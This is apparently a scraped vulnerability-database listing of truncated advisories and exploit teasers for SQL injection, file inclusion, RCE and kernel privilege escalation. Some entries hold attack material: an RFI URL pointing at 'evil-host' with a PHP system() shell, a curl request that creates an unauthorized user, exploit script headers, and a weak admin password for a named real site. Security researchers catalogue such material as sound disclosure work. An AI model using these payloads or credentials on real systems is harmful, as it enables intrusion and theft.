Hishop易分销系统 Brand.aspx,ProductUnSales.aspx 两处SQL注入漏洞

No description provided by source...

正方教务管理各个版本无条件注入导致敏感信息泄露

简要描述： 正方各个版本无条件注入导致大量学生的敏感信息泄露 详细说明： 漏洞证明： 刚刚忘了把站贴上来了，下面几个只是冰山一角 http://.../fn55wdyilcrlce55nybn5fis/default2.aspx Heron1990@ng http://.../...

金蝶企业移动管理云暴力破解+弱口令

简要描述： 如题，金蝶企业移动管理云暴力破解+弱口令，未加验证码和默认口令 详细说明： 问题网址：http://mcloud.kingdee.com/mcloud/pages/ POST /mcloud/dwr/call/plaincall/custLoginService.login.dwr HTTP/1.1 Host: mcloud.kingdee.com Proxy-Connection: keep-alive Content-Length: 301 Origin: http://mcloud.kingdee.com User-Agent: Content-Type:...

Joomla Akeeba Kickstart Unserialize Remote Code Execution

No description provided by source. This module requires Metasploit: http//metasploit.com/download Current source: https://github.com/rapid7/metasploit-framework require 'msf/core' require 'rex/zip' require 'json' class Metasploit3 Msf::Exploit::Remote Rank = ExcellentRanking include...

用友FE协作办公系统FILE协议文件读取漏洞(通杀全版本)

简要描述： 用友FE协作办公系统某处协议处理接口未过滤file://协议，导致任意文件读取漏洞,通杀全版本 详细说明： web.xml有如下配置： ProxyServletUtil fe.witmanage.service.ProxyServletUtil ProxyServletUtil /ProxyServletUtil ProxyServletUtil.java源码如下: / / public void doGetHttpServletRequest request, HttpServletResponse response throws ServletException,...

HolaCMS 1.2.x/1.4.x Voting Module Directory Traversal Remote File Corruption Vulnerability

No description provided by source. source: http://www.securityfocus.com/bid/12799/info HolaCMS is prone to a vulnerability that may allow remote users to corrupt files on the server. This issue is similar to the vulnerability described in BID 12789 HolaCMS Voting Module Remote File Corruption...

OpenBB 1.0.8 Read.PHP SQL Injection Vulnerability

No description provided by source. source: http://www.securityfocus.com/bid/13624/info OpenBB is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query. Successful exploitation could resul...

Xxasp 3.3.2 - SQL Injection

Securitylab.ir Application Info: Name: Xxasp Version: 3.3.2 Discoverd By: [email protected] Website: http://securitylab.ir Contacts: adminatsecuritylab.ir & info@securitylabdotir ===========================================================...

Adobe ColdFusion 9 Administrative Login Bypass

No description provided by source. -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 +------------------------------------------------------------------------------+ | Packet Storm Advisory 2013-0819-2 | | http://packetstormsecurity.com/ |...

shop7z 注入漏洞

简要描述： shop7z 注入漏洞 详细说明： Advsearchadmin.asp kindnum=trimrequest"kindnum" pipai=trimrequest"pipai" model=trimrequest"model" productname=trimrequest"productname" price11=trimrequest"price11" price12=trimrequest"price12" price21=trimrequest"price21" price22=trimrequest"price22" if price11="" then...

PHP Hashtables Denial of Service

No description provided by source. Exploit Title: CVE-2011-4885 PHP Hashtables Denial of Service Exploit Date: 1/1/12 Author: infodox Software Link: php.net Version: 5.3. Tested on: Linux CVE : CVE-2011-4885 Exploit Download -- http://infodox.co.cc/Downloads/phpdos.txt ?php / PHP 5.3. Hash...

Microsoft Tagged Image File Format (TIFF) Integer Overflow

No description provided by source. This module requires Metasploit: http//metasploit.com/download Current source: https://github.com/rapid7/metasploit-framework require 'msf/core' require 'rex/zip' require 'nokogiri' module ::Nokogiri module XML class Builder Some XML documents don't declare the...

N/X - Web CMS (N/X WCMS 4.5) Multiple Vulnerability

No description provided by source. N/X - Web CMS N/X WCMS 4.5 Multiple Vulnerability =================================================== 1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0 0 1 1 /' \ /'\ /\ \ /'\ 0 0 /, \ /\/\ \ \ \ \ ,/\ /\ \ 1 1 //\ \ /' \ /\ //\ /'...

青果教务管理系统管理功能越权

简要描述： 通过浏览器调试模式将管理端已关闭的功能重新开启 详细说明： 系统仅通过样式表禁用系统功能，并未从业务层禁止。 通过开发者模式可以在本地实现修改。 漏洞证明： 1.启动F12开发者模式，定位到被禁用的功能。 2.修改style color样式（如果没有新添加该属性）为任意颜色。...

Veryide 2.1 /library.php SQL注入漏洞

No description provided by source...

U-Mail邮件服务系统任意文件上传+执行漏洞（runtime缺陷与验证绕过）

简要描述： 产品介绍摘自官网 U-Mail专注于电子邮件领域15年，为企业轻松搭建最安全稳定的电子邮件系统软件。 关键字：15年 最安全 最稳定 15年 最安全 最稳定 , woxaole,这么奇葩的代码，这么奇葩的设计、这么奇葩的配置、这么奇葩的、超常轻松的、利用正常的不能再正常的功能就可以拿到shell的系统，我服了... 涉及：金融、政府、银行，石油、军队、证券行业等重要部门，影响非常巨大，经测试受影响率：99.8%100% 场外话：我很想把农业银行拿下来的,想想还是算了,毕竟随便改卡里的数字,成土豪了，这样是极其不安全的.. 详细说明： 1 产品介绍...

Zfsoft EAMS /report/xscj_report.aspx 信息泄漏漏洞

No description provided by source...

Microsoft .NET Framework 远程拒绝服务漏洞(CVE-2014-0253)(MS14-009)

BUGTRAQ ID: 65415 CVECAN ID: CVE-2014-0253 .NET就是微软的用来实现XML，Web Services，SOA（面向服务的体系结构service-oriented architecture）和敏捷性的技术。.NET Framework是微软开发的软件框架，主要运行在Microsoft Windows上。 Microsoft ASP.NET中存在拒绝服务漏洞，可使攻击者造成ASP.NET服务器不响应。 0 Microsoft .NET Framework 4.x Microsoft .NET Framework 3.x Microsoft .NET...

Oracle Java Runtime Environment 未明远程代码执行漏洞(CVE-2012-3174)

Bugtraq ID:57312 CVE ID:CVE-2012-3174 Oracle Java Runtime Environment是一款为JAVA应用程序提供可靠的运行环境的解决方案 Oracle Java Runtime Environment存在一个未明安全漏洞，允许攻击者构建恶意WEB页，诱使用户解析，可以应用程序上下文执行任意代码 0 Sun JRE Windows Production Release 1.7.04 Sun JRE Windows Production Release 1.7.02 Sun JRE Solaris Production Release...

Samba 'AndX'请求堆缓冲区溢出漏洞(CVE-2012-0870)

No description provided by source...

PHP "Intl"扩展"NumberFormatter::setSymbol()"函数拒绝服务漏洞

BUGTRAQ ID: 46968 CVE ID: CVE-2011-1467 PHP是广泛使用的通用目的脚本语言，特别适合于Web开发，可嵌入到HTML中。 PHP "Intl"扩展"NumberFormatter::setSymbol"函数在实现上存在拒绝服务漏洞，远程攻击者可利用此漏洞造成应用程序崩溃，拒绝服务和任意代码执行。 MandrakeSoft Corporate Server 4.0 x8664 MandrakeSoft Corporate Server 4.0 PHP PHP 5.x 厂商补丁： PHP ---...

Apache Tomcat v. 5.5.0 to 5.5.29 & 6.0.0 to 6.0.26 information disclosure vulnerability

No description provided by source. CVE-2010-1157: Apache Tomcat information disclosure vulnerability Severity: Low Vendor: The Apache Software Foundation Versions Affected: - - Tomcat 6.0.0 to 6.0.26 - - Tomcat 5.5.0 to 5.5.29 Note: The unsupported Tomcat 3.x, 4.x and 5.0.x versions may also be...

Linux Kernel ext4_fill_flex_info函数拒绝服务漏洞

CVE ID: CVE-2009-4307 Linux Kernel是开放源码操作系统Linux所使用的内核。 Linux Kernel的ext4子系统fs/ext4/super.c文件中的ext4fillflexinfo函数中存在拒绝服务漏洞。如果用户所加载的 ext4文件系统中的超级块带有超大的FLEXBG组大小（也称为sloggroupsperflex值），groupsperflex就会溢出，导致0除数错误，系统可能会崩溃。 Linux kernel 2.6.x 厂商补丁： Linux ----- 目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：...

Linux Kernel AppleTalk内存泄漏远程拒绝服务漏洞

Bugraq ID: 36379 CVE ID：CVE-2009-2903 Linux是一款开放源代码的操作系统。 Linux Kernel AppleTalk处理部分AppleTalk-IP数据帧存在内存泄漏，远程攻击者可以利用漏洞发送大量类似数据帧对系统进行拒绝服务攻击。 当Linux主机加载了appletalk和ipddp模块时，在检查ipddpN设备过程中如果该设备不存在handleipoverddp...

Linux Kernel sock.c SO_BSDCOMPAT选项信息泄露漏洞

BUGTRAQ ID: 33846 CVECAN ID: CVE-2009-0676 Linux Kernel是开放源码操作系统Linux所使用的内核。 在Linux Kernel的net/core/sock.c文件的sockgetsockopt函数中，如果设置了SOBSDCOMPA选项的话optval v.val就会被错误的初始化并直接返回给用户域，导致信息泄露。 Linux kernel 2.6.x 厂商补丁： Linux ----- 目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：...

Mambo Component mambads <= 1.0 RC1 Beta SQL Injection Vulnerability

No description provided by source. !/usr/bin/perl -w Mambo Component mambads 1.0 RC1 Beta & 1.0 RC1 Remote SQL Injection Found by : Houssamix From H-T Team H-T Team HouSSaMix + ToXiC350 from MoroCCo Greetz : Stack & CoNaN & HaCkeREgY & room-hacker & Hak3r-b0y & All friends & All muslims HaCkeRs :...

Ruby 1.8.6 (Webrick Httpd 1.3.1) Directory Traversal Vulnerability

No description provided by source. ------------------------------------------------------------------------------------ Digital Security Research Group DSecRG Advisory DSECRG-08-018...

Wordpress XMLRPC.PHP SQL注入漏洞

Wordpress是一款基于PHP的WEB应用程序。 Wordpress不正确过滤用户提交的输入，远程攻击者可以利用漏洞进行SQL注入攻击，获得敏感信息。 问题是'XMLRPC.PHP'脚本对用户提交的WEB参数缺少过滤，提交恶意SQL查询作为参数数据，可更改原来的SQL逻辑，获得敏感信息。 WordPress WordPress 2.2 目前没有解决方案提供： http://wordpress.org/ http://www.sebug.net/show-exp-1993.html...

EsForum 3.0 (forum.php idsalon) Remote SQL Injection Vulnerability

No description provided by source. ------------------------------------------------------------------------------------------------------------------- AYYILDIZ.ORG PreSents... Script: EsForum 3.0 Script Download: http://www.editeurscripts.com/scripts/dl-esforum-3.html Contact: ilker Kandemir...

Microsoft Help Workshop .HPJ文件缓冲区溢出漏洞

Microsoft Help Workshop是一款用于构建和管理帮助对象的应用工具。 Microsoft Help Workshop处理畸形.hpj文件存在问题，远程攻击者可以利用漏洞以应用程序进程权限执行任意指令。 问题存在于'OPTIONS'段中的'HLP'字段中的文件路径变量HelpFilePathString01缺少正确的边界条件检查，当字符串长度超过256字节，程序可导致缓冲区溢出。攻击者构建一个恶意.hpj文件，当使用Microsoft Help Workshop处理时可导致缓冲区溢出，精心构建提交数据可能以应用程序进程权限执行任意指令。 Microsoft Help...

3Com TFTP超长传输模式字段远程缓冲区溢出漏洞

3CTftpSvc是一款Windows 9x/NT/XP平台下的TFTP服务器，实现TFTPv2协议。 3CTftpSvc在处理超长畸形的请求时存在漏洞，远程攻击者可能利用此漏洞在服务器上执行任意指令。 3CTftpSvc TFTP服务器在处理传送给GET或PUT命令的超长传输模式（大于470字节）时存在缓冲区溢出。如果攻击者向服务器发送了特制报文请求的话就会触发这个漏洞，导致拒绝服务或执行任意指令。 3Com 3CTftpSvc TFTP Server 2.0.1 目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：...

WordPress <= 1.5.1.1 ""add new admin"" SQL Injection Exploit

No description provided by source. !/usr/bin/perl WordPress = 1.5.1.1 sql injection "add new admin" exploit by RST/GHC , http://rst.void.ru , http://ghc.ru coded by 1dt.w0lf use LWP::UserAgent; use Getopt::Std; use HTTP::Cookies; use Digest::MD5 qwmd5hex; getopts'h:p:'; $path = $opth; $pref = $op...

ocPortal 1.0.3 Remote File Inclusion

No description provided by source. http://localhost/ocp-103/index.php?reqpath=http ://evil-host/ On your evil host you must put scipt funcs.php. Example of funcs.php if your host doesn't support php. ?php $com = $GET"com"; system "$com"; ? Example of funcs.php if your host support php. ?php echo...

New ownerAnyone Bug Allows For Anyone to ''Own'' Certain ERC20-Based Smart Contracts (CVE-2018-10705)

This morning, our vulnerability-scanning system at PeckShield identified a new vulnerability named ownerAnyone in certain ERC20-based smart contracts such as AURA, which is deployed by a decentralized banking and finance platform – AURORA. This bug, if successfully exploited, might introduce the...

CPP-Ethereum JSON-RPC miner_setEtherbase improper authorization Vulnerability(CVE-2017-12115)

Summary An exploitable improper authorization vulnerability exists in minersetEtherbase API of cpp-ethereum's JSON-RPC commit 4e1015743b95821849d001618a7ce82c7c073768. A JSON request can cause an access to the restricted functionality resulting in authorization bypass. An attacker can send JSON t...

Circle with Disney Backup API Command Injection Vulnerability(CVE-2017-2866)

Summary An exploitable vulnerability exists in the /api/CONFIG/backup functionality of Circle with Disney. Specially crafted network packets can cause an OS command injection. An attacker can send an HTTP request trigger this vulnerability. Tested Versions Circle with Disney Product URLs...

Synology Photo Station Unauthenticated Remote Code Execution

Vulnerability Summary The following advisory describes a Remote Code Execution found in Synology Photo Station versions 6.7.3-3432 and earlier / 6.3-2967 and earlier. Personal Photo Station is an online photo album with blog owned and managed by a DSM user. Synology NAS provides the home/photo...

Apache Tomcat packaging on Debian-based distros - Local Root Privilege Escalation

I. VULNERABILITY ------------------------- Apache Tomcat® packaging on Debian-based distros - Local Root Privilege Escalation Affected debian packages: Tomcat 8 = 8.0.36-2 Tomcat 7 = 7.0.70-2 Tomcat 6 = 6.0.45+dfsg-1deb8u1 Ubuntu systems are also affected. See section VII. for details. Other...

Mallbuilder /mallbuilder/aboutus.php文件 type 参数SQL注入漏洞

0x01 漏洞概述 相关厂商： 上海远丰信息科技有限公司 官方主页： shop-builder.cn 提交时间： 2015-06-17 公开时间： 2015-09-20 漏洞类型： SQL注射漏洞 谷歌关键字： powered by mallbuilder 在文件product/admin/cpmod.php中，id参数未过滤造成注入。 0x02 漏洞详情 首先来看看全局文件 function magic if!getmagicquotesgpc&&isset$POST foreach$POST as $key=$v if!isarray$v $POST$key=addslashes$v...

Apache Jetspeed 用户管理 REST API 未授权访问漏洞

漏洞效果 用户管理 REST API 未授权 构造用户管理 REST API 创建用户 foobar: curl -i "http://192.168.199.152:8080/jetspeed/services/usermanager/users/?type=json&name=foobar&password=password&passwordconfirm=password&usernamegiven=foo&usernamefamily=bar&[email protected]&newrule=" -X POST 构造用户管理 REST API 提升用户 foobar...

用友某系统从弱口令到sql注射到getshell

简要描述： 弱口令、sql注射、getshell 详细说明： 系统地址： http://vip.ufida.com.cn/Frame/Index.aspx 弱口令帐号：adminnc 密码：adminnc 在自助查询处，发现注入（需要登录，注意cookie有时效） GET http://vip.ufida.com.cn/RepositorySearchInfo/DoctInfo.aspx?ReposID=38d4a08e-8b79-4de7-8566-30aecfb1d56f HTTP/1.1 Accept: text/html, application/xhtml+xml, /...

XYCMS建站系统SQL注入#2

简要描述： XYCMS建站系统SQL注入2 详细说明： 同第一个 XYCMS建站系统SQL注入1 这里提交的在wooyun没有提交过！这里提交不重复，证明： 除了：fwxmdetail.asp，news.asp，teamdetail.asp这些外。。。 jobdetail.asp未对id进行任何过滤就直接带入数据库查询 id=request.QueryString"id" set rs=server.createobject"adodb.recordset" exec="select from zpxx where id="& id rs.open exec,conn,1,1 if...

大米cms 暴力getshell

简要描述： rt.最近流行路人甲。 详细说明： 看到 install\index.php 漏洞证明： 如上所述。官网就不测试了。...

TinyRise最新版前台任意文件包含漏洞

简要描述： TinyRise最新版20140926任意文件包含漏洞，一定条件下，可getshell 详细说明： 漏洞发生在framework/web/controller/Controllerclass.php文件的renderExecute函数： renderExecute函数存在extract变量覆盖，关键代码如下： public function renderExecute$runfile0123456789,$data0123456789 ...//省略无关代码 if$datas0123456789!==null extract$datas0123456789;...

Internet Security Systems ICECap Manager 2.0.23 Default Username and Password

No description provided by source. source: http://www.securityfocus.com/bid/1216/info ICECap Manager is a management console for BlackICE IDS Agents and Sentries. By default, ICECap Manager listens on port 8081, transmits alert messages to another server on port 8082, and has an administrative...

Ammyy Admin 3.2 - Authentication Bypass

No description provided by source. Title: ==== Ammyy Admin - Hidden hard-coded option and Access Control vulnerability. Credit: ====== Name: Bhadresh Patel Company/affiliation: Cyberoam Technologies Private Limited Website: www.cyberoam.com CVE: ==== - CVE-2013-5581 for hidden hard-coded option...

wordpress <= 3.3.1 - Multiple Vulnerabilities

No description provided by source. Trustwave's SpiderLabs Security Advisory TWSL2012-002: Multiple Vulnerabilities in WordPress https://www.trustwave.com/spiderlabs/advisories/TWSL2012-002.txt Published: 1/24/12 Version: 1.0 Vendor: WordPress http://wordpress.org/ Product: WordPress Version...

TotalCalendar <= 2.30 (inc) Remote File Include Vulnerability

No description provided by source. Title: TotalCalendar =2.30 - Remote File Include Vulnerability ----------------------------------------------------------------- Vendor: SweetPHP URL: http://sweetphp.com ----------------------------------------------------------------- Credits: Discovered by:...

Linux Kernel <= 3.13 - Local Privilege Escalation PoC (gid)

No description provided by source. / CVE-2014-4014 Linux Kernel Local Privilege Escalation PoC Vitaly Nikolenko http://hashcrack.org Usage: ./poc filepath where filepath is the file on which you want to set the sgid bit / define GNUSOURCE include sys/wait.h include sched.h include stdio.h include...

Linux Kernel < 2.6.19 udp_sendmsg Local Root Exploit

No description provided by source. / hoagieudpsendmsg.c LOCAL LINUX KERNEL ROOT EXPLOIT 2.6.19 - CVE-2009-2698 udpsendmsg bug exploit via output callback function used in dstentry / rtable Bug reported by Tavis Ormandy and Julien Tinnes of the Google Security Team Tested with Debian Etch r0 $ cat...